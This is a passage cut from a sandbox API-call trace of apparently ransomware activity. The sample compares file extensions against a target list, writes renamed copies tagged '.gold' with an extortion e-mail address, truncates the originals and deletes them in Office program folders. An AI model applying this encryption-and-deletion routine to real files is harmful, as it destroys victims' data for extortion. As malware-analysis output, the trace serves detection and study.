Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0104.097] lstrlenW (lpString=".zip") returned 4 [0104.097] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0104.097] lstrlenW (lpString=".rar") returned 4 [0104.097] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0104.097] lstrlenW (lpString=".bz2") returned 4 [0104.097] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0104.097] lstrlenW (lpString=".7z") returned 3 [0104.097] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0104.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0104.097] lstrlenW (lpString=".dbf") returned 4 [0104.097] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0104.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0104.097] lstrlenW (lpString=".1cd") returned 4 [0104.097] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0104.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0104.097] lstrlenW (lpString=".jpg") returned 4 [0104.097] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0104.097] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0104.097] lstrlenW (lpString="ONENOTE.HXS") returned 11 [0104.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0104.098] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1750992) returned 1 [0104.098] CloseHandle (hObject=0x398) returned 1 [0104.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs")) returned 0x20 [0104.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.101] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0104.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0104.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0104.101] lstrlenW (lpString=".doc") returned 4 [0104.101] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0104.101] lstrlenW (lpString=".docx") returned 5 [0104.101] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0104.101] lstrlenW (lpString=".pdf") returned 4 [0104.101] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0104.101] lstrlenW (lpString=".xls") returned 4 [0104.102] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0104.102] lstrlenW (lpString=".xlsx") returned 5 [0104.102] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0104.102] lstrlenW (lpString=".ppt") returned 4 [0104.102] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0104.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0104.102] lstrlenW (lpString=".zip") returned 4 [0104.102] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0104.102] lstrlenW (lpString=".rar") returned 4 [0104.102] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0104.102] lstrlenW (lpString=".bz2") returned 4 [0104.102] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0104.102] lstrlenW (lpString=".7z") returned 3 [0104.102] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0104.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0104.102] lstrlenW (lpString=".dbf") returned 4 [0104.102] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0104.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0104.102] lstrlenW (lpString=".1cd") returned 4 [0104.102] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0104.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0104.102] lstrlenW (lpString=".jpg") returned 4 [0104.102] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0104.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0104.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0104.102] lstrlenW (lpString=".doc") returned 4 [0104.102] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0104.102] lstrlenW (lpString=".docx") returned 5 [0104.102] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0104.102] lstrlenW (lpString=".pdf") returned 4 [0104.102] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0104.102] lstrlenW (lpString=".xls") returned 4 [0104.102] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0104.102] lstrlenW (lpString=".xlsx") returned 5 [0104.102] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0104.102] lstrlenW (lpString=".ppt") returned 4 [0104.102] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0104.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0104.102] lstrlenW (lpString=".zip") returned 4 [0104.102] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0104.102] lstrlenW (lpString=".rar") returned 4 [0104.102] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0104.102] lstrlenW (lpString=".bz2") returned 4 [0104.102] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0104.102] lstrlenW (lpString=".7z") returned 3 [0104.102] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0104.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0104.102] lstrlenW (lpString=".dbf") returned 4 [0104.102] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0104.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0104.102] lstrlenW (lpString=".1cd") returned 4 [0104.102] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0104.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0104.103] lstrlenW (lpString=".jpg") returned 4 [0104.103] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0104.103] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0104.103] lstrlenW (lpString="OneNoteSyncPCIntl.dll") returned 21 [0104.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0104.103] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=9704) returned 1 [0104.103] CloseHandle (hObject=0x398) returned 1 [0104.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll")) returned 0x20 [0104.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0104.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0104.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0104.104] lstrlenW (lpString=".doc") returned 4 [0104.104] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0104.104] lstrlenW (lpString=".docx") returned 5 [0104.104] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0104.104] lstrlenW (lpString=".pdf") returned 4 [0104.104] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0104.104] lstrlenW (lpString=".xls") returned 4 [0104.104] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0104.104] lstrlenW (lpString=".xlsx") returned 5 [0104.104] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0104.104] lstrlenW (lpString=".ppt") returned 4 [0104.104] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0104.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0104.104] lstrlenW (lpString=".zip") returned 4 [0104.104] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0104.104] lstrlenW (lpString=".rar") returned 4 [0104.104] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0104.104] lstrlenW (lpString=".bz2") returned 4 [0104.104] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0104.104] lstrlenW (lpString=".7z") returned 3 [0104.104] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0104.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0104.104] lstrlenW (lpString=".dbf") returned 4 [0104.104] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0104.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0104.104] lstrlenW (lpString=".1cd") returned 4 [0104.104] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0104.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0104.104] lstrlenW (lpString=".jpg") returned 4 [0104.104] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0104.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0104.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0104.105] lstrlenW (lpString=".doc") returned 4 [0104.105] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0104.105] lstrlenW (lpString=".docx") returned 5 [0104.105] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0104.105] lstrlenW (lpString=".pdf") returned 4 [0104.105] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0104.105] lstrlenW (lpString=".xls") returned 4 [0104.105] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0104.105] lstrlenW (lpString=".xlsx") returned 5 [0104.105] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0104.105] lstrlenW (lpString=".ppt") returned 4 [0104.105] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0104.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0104.105] lstrlenW (lpString=".zip") returned 4 [0104.105] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0104.105] lstrlenW (lpString=".rar") returned 4 [0104.105] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0104.105] lstrlenW (lpString=".bz2") returned 4 [0104.105] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0104.105] lstrlenW (lpString=".7z") returned 3 [0104.105] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0104.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0104.105] lstrlenW (lpString=".dbf") returned 4 [0104.105] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0104.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0104.105] lstrlenW (lpString=".1cd") returned 4 [0104.105] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0104.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0104.105] lstrlenW (lpString=".jpg") returned 4 [0104.105] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0104.105] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0104.105] lstrlenW (lpString="ONENOTE_COL.HXC") returned 15 [0104.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0104.106] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=631) returned 1 [0104.106] CloseHandle (hObject=0x398) returned 1 [0104.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc")) returned 0x20 [0104.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0104.106] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.106] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.107] GetLastError () returned 0x0 [0104.107] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x277, lpOverlapped=0x0) returned 1 [0104.125] WriteFile (in: hFile=0x3b4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x280, lpOverlapped=0x0) returned 1 [0104.126] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.126] WriteFile (in: hFile=0x3b4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0104.126] SetEndOfFile (hFile=0x3b4) returned 1 [0104.126] CloseHandle (hObject=0x3b4) returned 1 [0104.126] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.126] SetEndOfFile (hFile=0x398) returned 1 [0104.128] CloseHandle (hObject=0x398) returned 1 [0104.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc")) returned 1 [0104.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0104.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0104.152] lstrlenW (lpString=".doc") returned 4 [0104.152] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0104.152] lstrlenW (lpString=".docx") returned 5 [0104.152] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0104.152] lstrlenW (lpString=".pdf") returned 4 [0104.152] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0104.161] lstrlenW (lpString=".xls") returned 4 [0104.161] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0104.161] lstrlenW (lpString=".xlsx") returned 5 [0104.161] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0104.161] lstrlenW (lpString=".ppt") returned 4 [0104.161] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0104.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0104.161] lstrlenW (lpString=".zip") returned 4 [0104.161] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0104.161] lstrlenW (lpString=".rar") returned 4 [0104.161] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0104.162] lstrlenW (lpString=".bz2") returned 4 [0104.162] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0104.162] lstrlenW (lpString=".7z") returned 3 [0104.162] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0104.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0104.162] lstrlenW (lpString=".dbf") returned 4 [0104.162] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0104.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0104.162] lstrlenW (lpString=".1cd") returned 4 [0104.162] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0104.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0104.162] lstrlenW (lpString=".jpg") returned 4 [0104.162] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0104.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0104.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0104.162] lstrlenW (lpString=".doc") returned 4 [0104.162] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0104.162] lstrlenW (lpString=".docx") returned 5 [0104.162] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0104.162] lstrlenW (lpString=".pdf") returned 4 [0104.162] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0104.162] lstrlenW (lpString=".xls") returned 4 [0104.162] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0104.162] lstrlenW (lpString=".xlsx") returned 5 [0104.162] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0104.162] lstrlenW (lpString=".ppt") returned 4 [0104.162] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0104.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0104.162] lstrlenW (lpString=".zip") returned 4 [0104.162] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0104.162] lstrlenW (lpString=".rar") returned 4 [0104.162] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0104.162] lstrlenW (lpString=".bz2") returned 4 [0104.162] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0104.162] lstrlenW (lpString=".7z") returned 3 [0104.162] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0104.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0104.162] lstrlenW (lpString=".dbf") returned 4 [0104.162] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0104.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0104.162] lstrlenW (lpString=".1cd") returned 4 [0104.162] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0104.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0104.162] lstrlenW (lpString=".jpg") returned 4 [0104.163] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0104.163] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0104.163] lstrlenW (lpString="ONENOTE_F_COL.HXK") returned 17 [0104.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0104.163] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=114) returned 1 [0104.163] CloseHandle (hObject=0x3c4) returned 1 [0104.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk")) returned 0x20 [0104.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0104.164] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.164] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0104.164] GetLastError () returned 0x0 [0104.164] ReadFile (in: hFile=0x3c4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x72, lpOverlapped=0x0) returned 1 [0104.165] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0104.166] ReadFile (in: hFile=0x3c4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.166] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0104.166] SetEndOfFile (hFile=0x38c) returned 1 [0104.166] CloseHandle (hObject=0x38c) returned 1 [0104.166] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.166] SetEndOfFile (hFile=0x3c4) returned 1 [0104.168] CloseHandle (hObject=0x3c4) returned 1 [0104.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk")) returned 1 [0104.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0104.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0104.169] lstrlenW (lpString=".doc") returned 4 [0104.169] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0104.169] lstrlenW (lpString=".docx") returned 5 [0104.169] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0104.169] lstrlenW (lpString=".pdf") returned 4 [0104.169] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0104.169] lstrlenW (lpString=".xls") returned 4 [0104.169] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0104.169] lstrlenW (lpString=".xlsx") returned 5 [0104.169] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0104.169] lstrlenW (lpString=".ppt") returned 4 